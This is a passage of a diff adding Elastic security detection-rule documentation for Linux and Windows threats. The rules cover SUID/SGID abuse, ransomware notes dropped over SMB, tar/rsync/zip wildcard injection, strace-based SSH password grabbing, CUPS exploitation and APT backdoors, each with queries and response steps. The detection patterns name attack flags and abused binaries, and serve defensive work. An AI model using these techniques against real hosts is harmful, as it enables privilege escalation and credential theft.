known-good baselines. +- If the binary is mount/umount/fusermount or newuidmap/newgidmap, correlate with container or FUSE activity to confirm a legitimate workflow and inspect mounts or namespace changes for risky options (e.g., suid, exec) or unusual target directories. + + +*False positive analysis* + + +- An authorized pkexec or polkit-agent-helper invocation by a user to perform a permitted administrative task may run as root while the real user is non‑root, often with a single‑argument parent, and should align with an interactive prompt and expected policy. +- Normal unprivileged workflows using fusermount3 or newuidmap/newgidmap legitimately leverage SUID/SGID helpers, typically launched by a simple shell with one argument, and should correlate with expected mount or user‑namespace activity. + + +*Response and remediation* + + +- Immediately isolate the host, kill the offending SUID/SGID child processes (e.g., pkexec spawning /bin/sh), and temporarily remove the setuid/setgid bit from the abused binary (chmod u-s /usr/bin/pkexec or chmod g-s /usr/bin/newgrp) to halt further elevation. +- Reinstall and verify integrity of abused packages and SUID helpers (e.g., polkit to replace /usr/bin/pkexec, dbus-daemon-launch-helper, fusermount3) and delete attacker artifacts such as gconv modules or LD_PRELOAD payloads from /tmp, /var/tmp, and user homes. +- Undo attacker changes by restoring /etc/sudoers, /etc/passwd and /etc/shadow, and polkit rules under /usr/share/polkit-1 or /etc/polkit-1, unmount suspicious FUSE or bind mounts created by fusermount3/mount, and rotate credentials and keys. +- Escalate to incident command if you observe a SUID helper launching an interactive root shell (/bin/sh -p or bash -p), root-owned droppers in /tmp or /usr/local/bin, or similar events on more than one host or account. +- Permanently reduce the SUID/SGID attack surface by auditing and removing setuid bits from rarely used binaries (e.g., chfn, chsh, newgrp, ssh-keysign), restricting pkexec via polkit rules to specific callers, and mounting /tmp, /var/tmp, and home directories with nosuid,nodev,noexec. +- Strengthen monitoring and policy by enabling AppArmor/SELinux confinement for pkexec and mount helpers, adding auditd rules for exec of setuid binaries and writes to /tmp by root, and enforcing least-privilege sudoers by removing broad NOPASSWD entries and requiring MFA for privileged tasks. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0") +) and process.args in ( + "/bin/su", "/usr/bin/su", + "/usr/bin/sudo", + "/bin/mount", "/usr/bin/mount", + "/bin/umount", "/usr/bin/umount", + "/usr/bin/fusermount3", + "/bin/passwd", "/usr/bin/passwd", + "/bin/chfn", "/usr/bin/chfn", + "/bin/chsh", "/usr/bin/chsh", + "/bin/gpasswd", "/usr/bin/gpasswd", + "/bin/newgrp", "/usr/bin/newgrp", + "/sbin/unix_chkpwd", "/usr/sbin/unix_chkpwd", + "/usr/bin/newuidmap", "/usr/bin/newgidmap", + "/usr/lib/dbus-1.0/dbus-daemon-launch-helper", "/usr/libexec/dbus-daemon-launch-helper", + "/usr/lib/openssh/ssh-keysign", "/usr/libexec/openssh/ssh-keysign", + "/usr/bin/pkexec", "/usr/libexec/pkexec", "/usr/lib/polkit-1/pkexec", + "/usr/lib/polkit-1/polkit-agent-helper-1", "/usr/libexec/polkit-agent-helper-1", + "/usr/lib/snapd/snap-confine" +) and process.parent.args_count == 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-ransomware-behavior-note-files-by-system.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-ransomware-behavior-note-files-by-system.asciidoc new file mode 100644 index 0000000000..c58f2cf613 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-ransomware-behavior-note-files-by-system.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-10-potential-ransomware-behavior-note-files-by-system]] +=== Potential Ransomware Behavior - Note Files by System + +This rule identifies the creation of multiple files with same name and over SMB by the same user. This behavior may indicate the successful remote execution of a ransomware dropping file notes to different folders. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Possible investigation steps* + + +- Investigate the content of the dropped files. +- Investigate any file names with unusual extensions. +- Investigate any incoming network connection to port 445 on this host. +- Investigate any network logon events to this host. +- Identify the total number and type of modified files by pid 4. +- If the number of files is too high and source.ip connecting over SMB is unusual isolate the host and block the used credentials. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Local file modification from a Kernel mode driver. + + +*Related rules* + + +- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 +- Potential Ransomware Note File Dropped via SMB - 02bab13d-fb14-4d7c-b6fe-4a28874d37c5 +- Suspicious File Renamed via SMB - 78e9b5d5-7c07-40a7-a591-3dbbf464c386 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- If any backups were affected: + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.file-* metadata _id, _version, _index + +// filter for file creation event done remotely over SMB with common user readable file types used to place ransomware notes +| where event.category == "file" and host.os.type == "windows" and event.action == "creation" and process.pid == 4 and user.id != "S-1-5-18" and + file.extension in ("txt", "htm", "html", "hta", "pdf", "jpg", "bmp", "png", "pdf") + +// truncate the timestamp to a 60-second window +| eval Esql.time_window_date_trunc = date_trunc(60 seconds, @timestamp) + +| keep user.id, user.name, file.path, file.name, process.entity_id, Esql.time_window_date_trunc, host.name, host.ip + +// filter for same file name dropped in at least 3 unique paths by the System virtual process +| stats Esql.file_path_count_distinct = COUNT_DISTINCT(file.path), Esql.file_path_values = VALUES(file.path), Esql.host_ip_values = values(host.ip) by host.name, user.name, user.id, process.entity_id , file.name, Esql.time_window_date_trunc +| where Esql.file_path_count_distinct >= 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-shell-via-wildcard-injection-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-shell-via-wildcard-injection-detected.asciidoc new file mode 100644 index 0000000000..c31aef02f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-shell-via-wildcard-injection-detected.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-10-potential-shell-via-wildcard-injection-detected]] +=== Potential Shell via Wildcard Injection Detected + +This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.exploit-db.com/papers/33930 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Shell via Wildcard Injection Detected* + + +Wildcard injection exploits vulnerabilities in Linux command-line utilities by manipulating wildcard characters to execute unauthorized commands. Adversaries leverage this to escalate privileges or execute arbitrary code. The detection rule identifies suspicious use of vulnerable binaries like `tar`, `rsync`, and `zip` followed by shell execution, indicating potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command executed, focusing on the process name and arguments, especially those involving `tar`, `rsync`, or `zip` with suspicious flags like `--checkpoint=*`, `-e*`, or `--unzip-command`. +- Examine the parent process information to determine if a shell process (e.g., `bash`, `sh`, `zsh`) was spawned, indicating potential exploitation. +- Check the process execution path to ensure it does not match the exclusion pattern `/tmp/newroot/*`, which might indicate a benign operation. +- Investigate the host's recent activity logs to identify any other suspicious or related events that might indicate a broader attack or compromise. +- Correlate the alert with any other security events or alerts from the same host to assess if this is part of a larger attack pattern or campaign. +- Assess the user account associated with the process execution to determine if it has the necessary privileges and if the activity aligns with expected behavior for that account. + + +*False positive analysis* + + +- Legitimate use of tar, rsync, or zip with wildcard-related flags in automated scripts or backup processes can trigger false positives. Review the context of these processes and consider excluding specific scripts or directories from monitoring if they are verified as safe. +- System administrators or maintenance scripts may use shell commands following tar, rsync, or zip for legitimate purposes. Identify these routine operations and create exceptions for known safe parent processes or specific command patterns. +- Development environments or testing scenarios might involve intentional use of wildcard characters for testing purposes. Exclude these environments from the rule or adjust the rule to ignore specific user accounts or process paths associated with development activities. +- Scheduled tasks or cron jobs that involve the use of these binaries with wildcard flags can be mistaken for malicious activity. Verify the legitimacy of these tasks and exclude them based on their schedule or specific command line arguments. +- Security tools or monitoring solutions that simulate attacks for testing or validation purposes might trigger this rule. Ensure these tools are recognized and excluded from monitoring to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert, particularly those involving the execution of shell commands following the use of `tar`, `rsync`, or `zip`. +- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or unauthorized access attempts. +- Restore the affected system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement file integrity monitoring on critical systems to detect unauthorized changes to system binaries or configuration files. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and ( + (process.name == "tar" and process.args : "--checkpoint=*" and process.args : "--checkpoint-action=*") or + (process.name == "rsync" and process.args : "-e*") or + (process.name == "zip" and process.args == "--unzip-command") + ) and not process.executable : "/tmp/newroot/*" + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name : ("tar", "rsync", "zip") and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-ssh-password-grabbing-via-strace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-ssh-password-grabbing-via-strace.asciidoc new file mode 100644 index 0000000000..0492120fcc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-ssh-password-grabbing-via-strace.asciidoc @@ -0,0 +1,73 @@ +[[prebuilt-rule-8-19-10-potential-ssh-password-grabbing-via-strace]] +=== Potential SSH Password Grabbing via strace + +Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/braindead-sec/ssh-grabber +* https://dfir.ch/posts/strace/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "end" and process.name == "sshd"] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "strace"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-printer-user-lp-shell-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-printer-user-lp-shell-execution.asciidoc new file mode 100644 index 0000000000..879409eabf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-printer-user-lp-shell-execution.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-10-printer-user-lp-shell-execution]] +=== Printer User (lp) Shell Execution + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process through the default printer user (lp). These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Printer User (lp) Shell Execution* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "ProcessRollup2") and user.name == "lp" and + process.parent.name in ("cupsd", "foomatic-rip", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not ( + process.command_line like ( + "*/tmp/foomatic-*", "*-sDEVICE=ps2write*", "*printf*", "/bin/sh -e -c cat", "/bin/bash -c cat", + "/bin/bash -e -c cat" + ) or + process.args like "gs*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-apt-package-manager-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-apt-package-manager-execution.asciidoc new file mode 100644 index 0000000000..f9dee20f2a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-apt-package-manager-execution.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-10-suspicious-apt-package-manager-execution]] +=== Suspicious APT Package Manager Execution + +Detects suspicious process events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious APT Package Manager Execution* + + +The APT package manager is a vital tool for managing software on Debian-based Linux systems, handling tasks like installation and updates. Adversaries may exploit APT by embedding malicious scripts to maintain persistence and control. The detection rule identifies unusual shell or script executions initiated by APT, signaling potential backdoor activities, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the process execution details to identify the specific shell or script that was executed with APT as the parent process. Pay attention to the process names and arguments, such as "bash", "dash", "sh", etc., and the presence of the "-c" argument. +- Examine the command-line arguments and scripts executed by the suspicious process to determine if they contain any malicious or unexpected commands. +- Check the parent process details, specifically the APT process, to understand the context in which the shell or script was executed. This includes reviewing any recent package installations or updates that might have triggered the execution. +- Investigate the user account under which the suspicious process was executed to assess if it has been compromised or if it has elevated privileges that could be exploited. +- Correlate the event with other security logs or alerts from the same host to identify any additional indicators of compromise or related suspicious activities. +- Review the system's package management logs to identify any recent changes or anomalies in package installations or updates that could be linked to the suspicious execution. + + +*False positive analysis* + + +- Legitimate administrative scripts executed by system administrators using APT may trigger the rule. To handle this, identify and document routine administrative tasks and create exceptions for these specific scripts or commands. +- Automated system maintenance scripts that use APT for updates or installations can be mistaken for suspicious activity. Review and whitelist these scripts by their specific command patterns or script names. +- Custom software deployment processes that involve APT and shell scripts might be flagged. Analyze these processes and exclude them by defining clear criteria for legitimate deployment activities. +- Security tools or monitoring solutions that interact with APT for scanning or auditing purposes may cause false positives. Verify these tools' operations and exclude their known benign processes from triggering the rule. +- Development environments where developers frequently use APT and shell scripts for testing and building software can lead to alerts. Establish a baseline of normal development activities and exclude these from the detection rule. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further unauthorized access or lateral movement within the network. +- Terminate any suspicious processes identified in the alert, particularly those initiated by the APT package manager that match the query criteria. +- Conduct a thorough review of the APT configuration files and scripts to identify and remove any injected malicious code or unauthorized modifications. +- Restore the affected system from a known good backup if malicious modifications are extensive or if the integrity of the system cannot be assured. +- Update all system packages and apply security patches to mitigate vulnerabilities that may have been exploited by the adversary. +- Monitor the affected host and network for any signs of re-infection or further suspicious activity, focusing on the execution of shell scripts 